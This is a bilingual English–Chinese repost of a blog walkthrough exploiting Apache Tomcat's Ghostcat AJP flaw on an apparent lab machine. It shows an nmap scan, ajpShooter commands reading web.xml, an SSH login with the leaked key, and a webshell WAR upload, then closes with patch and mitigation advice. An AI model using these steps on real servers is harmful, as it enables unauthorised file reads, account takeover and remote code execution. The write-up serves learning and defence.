ghostcat_狩猎和利用Apache Ghostcat

ghostcat

The Apache Ghostcat vulnerability is a file inclusion vulnerability which came out in the first quarter of this year while the world was gearing up for a lockdown fight up against the coronavirus.

Apache Ghostcat漏洞是一个文件包含漏洞,该漏洞于今年第一季度发布,而当时世界正为锁定与冠状病毒的斗争做准备。

It allows any attacker to read files such as configuration files , test files or any other tomcat directory files . In addition, if a victim website permits any user to upload files, an attacker can upload the file containing malicious JSP code to the server and then include the uploaded file by exploiting the Ghostcat vulnerability, resulting in remote code execution. Well like the coronavirus’s family of viruses this ghostcat bug has also been there since a long long time and has managed to be undiscovered until the recent past. The context of the short blog post is to comprehend, identify and exploit this notorious bug.

它允许任何攻击者读取文件,例如配置文件,测试文件或任何其他tomcat目录文件。 此外,如果受害网站允许任何用户上传文件,则攻击者可以将包含恶意JSP代码的文件上传到服务器,然后利用Ghostcat漏洞包含上传的文件,从而导致远程执行代码。 就像冠状病毒的病毒家族一样,这个幽灵猫漏洞也已经存在很长时间了,直到最近才被发现。 简短博客文章的上下文旨在理解,识别和利用这个臭名昭著的错误。

The general idea of a Tomcat server has different ports set up . There’s of course the 8080 HTTP webservice port. Then there is another lesser known port 8009 which runs the AJP (Apache JServ Protocol) service. It is essentially a service implemented through tomcat and allows for performing different operations.

Tomcat服务器的总体思路是设置了不同的端口。 当然,还有8080 HTTP Web服务端口。 然后还有另一个鲜为人知的端口8009,它运行AJP(Apache JServ协议)服务。 它本质上是通过tomcat实现的服务,并允许执行不同的操作。

What is the AJP fuss all about…?

AJP大惊小怪的是什么?

Well, the AJP is a binary protocol that reduces overhead for an application server in comparison to the HTTP. It is similar to HTTP but at a binary level. Since it is binary , the machine level translation is far more faster than the HTTP parsing. In short , AJP connector will be used due to:

好吧,AJP是一种二进制协议,与HTTP相比,它减少了应用程序服务器的开销。 它类似于HTTP,但处于二进制级别。 由于它是二进制的,因此机器级别的转换比HTTP解析要快得多。 简而言之,由于以下原因,将使用AJP连接器:

  1. It being implemented and exposed by default by Tomcat.

    它由Tomcat默认实现和公开。
  2. More persistance in reverse proxying requests performance and load balancing between front end and backend application servers.

    反向代理中的更多持久性要求前端和后端应用程序服务器之间的性能和负载平衡。
  3. Tomcat’s rich API level implementations juices the developer to push for more faster protocol transversal i.e; HTTP(S) data is seamless and can be retrieved with simple API calls(like canonical getXYX()).

    Tomcat丰富的API级别实现使开发人员倍受青睐,以推动更快的协议遍历。 HTTP(S)数据是无缝的,可以通过简单的API调用(例如规范的getXYX())进行检索。
  4. AJP allows you to skip the additional parsing and pass efficient binary interpretation of the request headers between the proxy server and the app server.

    AJP允许您跳过其他解析,并在代理服务器和应用程序服务器之间传递请求标头的有效二进制解释。

Ways to detect the Ghostcat vulnerability

检测Ghostcat漏洞的方法

  1. You can use the online detection tool by the researchers that have published the finding. (Link: https://www.chaitin.cn/en/ghostcat)

    您可以使用已发布发现的研究人员的在线检测工具。 (链接: https//www.chaitin.cn/en/ghostcat )

2. The Manual way.

2.手动方式。

The Manual way of finding it:

手动查找方法:

As always in any manual penetration test we do perform an Nmap scan to detect open ports.

一如往常,在任何手动渗透测试中,我们都会执行Nmap扫描以检测开放端口。

sh-3.2# nmap -sS -sV -T2 10.10.54.51Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 23:54 ISTNmap scan report for 10.10.54.51Host is up (0.19s latency).Not shown: 996 closed portsPORT     STATE SERVICE    VERSION22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)53/tcp   open  tcpwrapped8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)8080/tcp open  http       Apache Tomcat 9.0.30Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Apache Tomcat versions 6.x, 7.x, 8.x, and 9.x are found to be vulnerable to this Ghostcat issue.

发现Apache Tomcat 6.x,7.x,8.x和9.x版本容易受到此Ghostcat问题的攻击。

Once we find the desired ports highlighted in the results above you can head to this github exploit page: https://github.com/00theway/Ghostcat-CNVD-2020-10487. and run the python exploit.

找到上面结果中突出显示的所需端口后,您可以转到以下github漏洞利用页面: https : //github.com/00theway/Ghostcat-CNVD-2020-10487 。 并运行python exploit。

sh-3.2# python3 ajpShooter.py http://10.10.54.51:8080/ 8009 /WEB-INF read[<] 302 302[<] Location: /index.txt/[<] Content-Length: 0

We are able to retrieve information. Now we can try to retrieve certain common files from the WEB-INF folder such as web.xml

我们能够检索信息。 现在我们可以尝试从WEB-INF文件夹中检索某些常见文件,例如web.xml

sh-3.2# python3 ajpShooter.py http://10.10.54.51:8080/ 8009 /WEB-INF/web.xml read
[<] 200 200[<] Accept-Ranges: bytes[<] ETag: W/"1261-1583902632000"[<] Last-Modified: Wed, 21 Apr 2020 04:57:12 GMT[<] Content-Type: application/xml[<] Content-Length: 1261<?xml version="1.0" encoding="UTF-8"?><!--Licensed to the Apache Software Foundation (ASF) under one or morecontributor license agreements. See the NOTICE file distributed withthis work for additional information regarding copyright ownership.The ASF licenses this file to You under the Apache License, Version 2.0.See the License for the specific language governing permissions andlimitations under the License.--><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaeehttp://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="true"><display-name>Welcome to Tomcat</display-name><description>Welcome to ECorpECorp:8730281lkjlkjdqlksalks</description></web-app>

We found a string (8730281lkjlkjdqlksalks)that appears as key which could possibly be used to login to system called ECorp with a key via an SSH session.

我们发现了一个字符串( 8730281lkjlkjdqlksalks ),该字符串作为密钥出现,可以用于通过SSH会话使用密钥登录到名为ECorp的系统。

sh-3.2# ssh ECorp@10.10.54.51The authenticity of host '10.10.54.51 (10.10.54.51)' can't be established.ECDSA key fingerprint is SHA256:hNxvmz+AG4q06z8p74FfXZldHr0HJsaa1FBXSoTlnss.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '10.10.54.51' (ECDSA) to the list of known hosts.ECorp@10.10.54.51's password: <enter the key here>Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantageThe programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.ECorp@ubuntu:~$ whoamiECorpE-Foundation@ubuntu:/etc$ uname -a
Linux ubuntu 4.4.0-174-generic #204-Ubuntu SMP Wed Apr 29 06:41:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

That’s it we can own the system and retrieve information from the user ECorp and can also possibly look for root level escalations if there are any misconfigurations in the system.

就是这样,我们可以拥有系统并从用户ECorp检索信息,并且如果系统中有任何错误配置,还可以寻找根级别升级。

If the application server allows uploading files as well which is uncommon collectively in general , then we can upload WAR files such as :

如果应用程序服务器也允许上传通常不常见的文件,那么我们可以上传WAR文件,例如:

$ python tomcat.py upload -u tomcat -p tomcat webshell.war 

and gain a code execution using this issue.

并使用此问题获得代码执行。

More on it here: (https://github.com/hypn0s/AJPy/tree/3854891450e06064b50be1bad6217fd82e5c78e0)

在此处更多信息:( https://github.com/hypn0s/AJPy/tree/3854891450e06064b50be1bad6217fd82e5c78e0 )

Conclusion:

结论:

Ghostcat continues to be one of the severe issues that can be troublesome just like the coronavirus. Threat actors may mass exploit using shodan dorks as well. The suggested mitigation would be to disable the port by commenting out the block of code that enables the port to listen on 8009 using AJP connector.

像冠状病毒一样,Ghostcat仍然是可能引起麻烦的严重问题之一。 威胁参与者也可以使用Shodan Dork进行大规模利用。 建议的缓解措施是,通过注释掉使端口能够使用AJP连接器侦听8009的代码块来禁用端口。

Image for post

It is also recommended to upgrade to the following Apache versions that have applied a patch:

还建议升级到以下已应用补丁程序的Apache版本:

  1. Apache Tomcat Version 9.0.31

    Apache Tomcat版本9.0.31
  2. Apache Tomcat Version 8.5.51

    Apache Tomcat版本8.5.51
  3. Apache Tomcat Version 7.0.100

    Apache Tomcat 7.0.100版

For the beginners to practice such vulnerabilities there are good platforms such as TryHackme.com that have made excellent machines to solve and understand such new exploits. You can head over there and solve labs based on such vulnerabilities yourself.

对于初学者而言,可以使用TryHackme.com等出色的平台,这些平台已经成为解决和了解此类新漏洞的出色机器。 您可以直接去那里,并根据此类漏洞自行解决实验室。

Thanks for the read as always stay safe and healthy during these corona.war times :}.Peas out.

感谢您的阅读,因为在这些corona.war时期,始终保持安全健康:}。

You can connect with me on :

您可以通过以下方式与我联系:

Linkedin: www.linkedin.com/in/prakashashok22 and Twitter:https://twitter.com/prakashashok4

Linkedin: www.linkedin.com/in/prakashashok22和Twitter: https : //twitter.com/prakashashok4

Image for post

翻译自: https://medium.com/@apkash8/hunting-and-exploiting-apache-ghostcat-b7446ef83e74

ghostcat

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
-判断矢量边缘实现不规则物品碰撞检测(非位图) -高效位图碰撞及重叠矢量检测 -A星,深/广度,2D/3D/路点,寻路方式统一处理。 -二次贝尔法曲线,按长度切割和计算法线,光滑曲线拟合(过点或者不过点) -SWF解析器,从ByteArray中播放声音,直接控制AVM1的动画类容。 -丰富的文本缓动,部分文字Filter,渐变色文字,字符差异对比,ANSI转码,URL解码,中文数字,拼音码,这是一个单独的底层包 -完全由FLASH实现的拼音输入法,需要加载200K的词库,光标跟随并可词语输入(感觉和智能ABC差不多) -缩略图,倒影,梯形变换,马赛克,各种特效,火焰什么的 -完整功能的自定制过渡,不仅能用,也能创造。如果不会用,可以使用Creater中的模板 -粒子,物理,景深 -像QQ那样截屏! -流方式读取文本和图片。HTML可以,FLASH也可以 -和FXG类似的道理,用对象保存绘制操作,简化绘制过程 -多种拖拽工具,变形工具,编辑形状工具。单个拖动点也可单独使用。 -单文件自加载 -右键,双击,三击,键盘管理,鼠标手势 -影子生成器。FLASH也是可以模拟出效果不错的光影的。影子可以折墙壁 -防客户端修改解决方案(内存修改,加速) -切割图形,同时支持矢量,位图,而且,你可以按45度角来切! -颜色模式转换 -去背景,魔法棒 -图文混排的简单实现。也可以显示Table表格 -滤镜代理:修改了滤镜的属性便能立即生效,你可以直接对它Tween!当然,水波放大镜,对比度饱和度顺便也提供了。 -常用的JS扩展:IFrame,便捷的提供接口给外部JS,调用浏览器音乐播放器播放MID,以及一些常用的防刷新,防鼠标滚轮干扰。当然,deeplink是不可少的。 -扇形,圆环,虚线 -四则运算(字符串分析)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值